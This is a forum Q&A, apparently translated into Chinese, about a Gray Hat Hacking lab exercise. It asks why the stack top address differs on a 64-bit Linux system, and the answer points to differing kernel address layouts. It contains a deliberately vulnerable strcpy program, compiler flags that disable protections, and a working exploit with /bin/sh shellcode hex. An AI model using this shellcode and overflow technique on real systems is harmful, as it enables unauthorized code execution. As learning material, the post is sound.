根据书,Gray Hat Hacking,"所有Linux ELF文件都映射到内存,最后一个相对地址为0xbfffffff"。通过从该地址减去4个NULL字节,文件名的长度和shellcode的长度,显然可以将被利用的缓冲区中的返回地址设置为环境变量的返回地址。
然而,在尝试此操作时,在我看来,在我的64位Linux测试环境( ASLR禁用)中,堆栈不是从0xbffffff开始,而是在0xffffdfff开始。
为什么我的堆栈的起始位置与书中的地址不同?这不是关于ALSR的,因为地址不会每次都改变,但我想知道为什么我的地址从0xffffdfff开始而不是书中的地址。想法?
这是易受攻击的缓冲区:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
char buffer[10];
printf("Vulnerable program has loaded...");
fflush(stdout);
strcpy(buffer, argv[1]);
}
编译器选项:
gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c
这是漏洞利用代码:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define FILENAME "./vulnerable_buffer_small"
#define SIZE 80
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main(int argc, char *argv[]) {
char *environment[] = {shellcode, NULL};
char buffer[SIZE];
char *parameters[] = {FILENAME, buffer, NULL};
int *pointer, i, address;
address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME);
pointer = (int *) (buffer + 2);;
for (i = 0; i < SIZE; i += 4) {
*pointer++ = address;
}
printf("Using address: 0x%X\n", address);
execle(parameters[0], (char*) parameters, environment);
exit(1);
}
我尝试使用GDB在易受攻击的程序中找到第一个环境变量的地址,但没有成功:
(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb)
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb)
0xffffdff8: ""
(gdb)
0xffffdff9: ""
(gdb)
0xffffdffa: ""
(gdb)
0xffffdffb: ""
(gdb)
0xffffdffc: ""
(gdb)
0xffffdffd: ""
(gdb)
0xffffdffe: ""
(gdb)
0xffffdfff: ""
(gdb)
0xffffe000: <error: Cannot access memory at address 0xffffe000>
有人可以解释我在这里错过的内容吗?
答案 0 :(得分:1)
解释相当简单 - 如果比较32位内核和64位内核,段顺序和地址布局肯定会有所不同。本书的版本可能针对32位内核上的32位ELF二进制文件,或者可能是旧版本的内核。即使您运行32位二进制文件,您仍然应该期望不同的结果。您不应该假设不同内核版本之间的地址空间布局甚至相同。
网上有大量资源可以发现有关此事的更多细节,例如关于内核2.0的一篇非常过时的文章:http://asm.sourceforge.net/articles/startup.html
您还应该了解有关Linux上32位和64位二进制文件之间程序地址空间布局差异的更多信息。